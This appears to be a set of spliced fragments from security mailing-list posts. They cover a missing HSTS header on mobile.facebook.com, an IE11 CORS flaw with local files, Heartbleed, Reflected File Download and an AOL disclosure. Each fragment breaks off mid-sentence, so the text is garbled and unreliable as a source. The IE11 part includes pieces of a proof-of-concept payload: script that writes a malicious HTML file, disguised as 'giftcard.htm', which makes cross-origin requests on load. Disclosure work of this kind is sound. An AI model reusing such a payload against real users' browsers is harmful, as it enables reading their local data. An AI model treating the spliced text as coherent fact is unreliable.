Hi All,
I've noticed that mobile.facebook.com domain is not on HSTS preload
list or sending the Strict-Transport-Security header. All the others
domains like m.facebook.com is using HSTS properly.
I reported this to Facebook on 12/3/15 through the whitehat program
and got the answer below. I've ch
IE11 is not following CORS specification for local files like Chrome
and Firefox.
I've contacted Microsoft and they say this is not a security issue so
I'm sharing it.
>From my tests IE11 is not following CORS specifications for local
files as supposed to be.
In order to prove I've created a malici
r1.send(); }; xhr0.onerror = function() {alert('Woops, there
was an error making the request.'); }; xhr0.send();}<\/script><body
onload=\"makeCorsRequest()\"><\/body><\/html>"]);
window.navigator.msSaveBlob(blob, 'testFile.htm');
}
%3E%3C%5C%2Fbody%3E%3C%5C%2Fhtml%3E%22%5D%29%3B+++window.navigator.msSaveBlob%28blob%2C+%27giftcard.htm%27%29%3B%7D%3C%2Fscript%3E
On Wed, Oct 5, 2016 at 4:51 PM, Ricardo Iramar dos Santos
wrote:
> I did a small improvement in this attack.
> Using IE File API
> (https://msdn.microsoft.
How about this one?
http://filippo.io/Heartbleed/
On Tue, Apr 8, 2014 at 8:59 AM, Jann Horn wrote:
> On Tue, Apr 08, 2014 at 10:23:26AM +0200, Joerg Mertin wrote:
> > Ubuntu already has released:
> > http://www.ubuntu.com/usn/usn-2165-1/
> >
> > My server updated during the night :}
>
> Make s
malicious
intention to include this bug. Anyway, I was thinking wrong since we have
the reason on the RFCs.
Thanks
Ricardo Iramar
On Fri, Apr 11, 2014 at 12:09 AM, Ricardo Iramar dos Santos <
rira...@gmail.com> wrote:
> Reading this post
> http://vrt-blog.snort.org/2014/04/heartb
Oren Hafif reported a new kind of attack called Reflected File Download (
https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-new-web-attack-vector)
in Black Hat Europe 2014 conference.
More details about the attack you can found in his public presentation:
https://www.blackhat.
he AOL users and how they could be affected with this
security issue.
I could not measure what could be worse live quiet with the problem or take
a risk to disclosure. Now I'm sure that specific problem was solved. :)
On Mon, Feb 16, 2015 at 2:13 PM, Ricardo Iramar dos Santos <
rira...@gma
